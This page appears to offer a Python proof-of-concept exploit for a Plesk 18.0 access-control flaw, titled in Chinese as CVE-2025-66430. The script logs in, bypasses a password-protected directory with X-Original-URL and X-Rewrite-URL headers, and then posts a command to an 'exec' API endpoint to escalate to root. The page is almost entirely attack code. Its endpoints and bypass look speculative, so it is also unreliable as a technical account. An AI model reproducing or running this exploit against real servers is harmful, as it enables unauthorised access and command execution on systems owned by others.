CVE-2025-66430: Plesk 18.0 密码保护目录错误访问控制导致权限提升漏洞

# CVE-2025-66430 PoC - Plesk 18.0 Incorrect Access Control # Note: This is a conceptual PoC for educational purposes only # Ensure you have authorization before testing any vulnerability import requests import sys # Target configuration TARGET_URL = "https://target-plesk-server:8443" USERNAME = "plesk_user" PASSWORD = "user_password" def exploit_cve_2025_66430(): """ Exploit for CVE-2025-66430: Plesk 18.0 Incorrect Access Control in Password Protected Directories """ print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Exploiting CVE-2025-66430...") # Step 1: Authenticate with Plesk session = requests.Session() auth_url = f"{TARGET_URL}/login_up.php" auth_data = { "login_name": USERNAME, "passwd": PASSWORD, "locale": "en-US" } try: response = session.post(auth_url, data=auth_data, verify=False, timeout=30) if response.status_code == 200 and "session" in session.cookies.get_dict(): print("[+] Authentication successful!") else: print("[-] Authentication failed!") return False # Step 2: Access password-protected directory with bypass technique # The vulnerability allows bypassing the password protection bypass_url = f"{TARGET_URL}/plesk-password-protected-virtdir/" headers = { "X-Original-URL": "/", "X-Rewrite-URL": "/" } response = session.get(bypass_url, headers=headers, verify=False, timeout=30) if response.status_code == 200: print("[+] Access control bypass successful!") print(f"[+] Response length: {len(response.content)} bytes") # Step 3: Attempt privilege escalation to root priv_esc_url = f"{TARGET_URL}/api/v2/plesk-password-protected-virtdir/exec" priv_esc_data = { "command": "id", "target": "root" } response = session.post(priv_esc_url, json=priv_esc_data, verify=False, timeout=30) if response.status_code == 200: print("[+] Privilege escalation successful!") print(f"[+] Response: {response.text}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False return False if __name__ == "__main__": if exploit_cve_2025_66430(): print("\n[!] Target is VULNERABLE to CVE-2025-66430") else: print("\n[-] Exploitation failed or target is patched")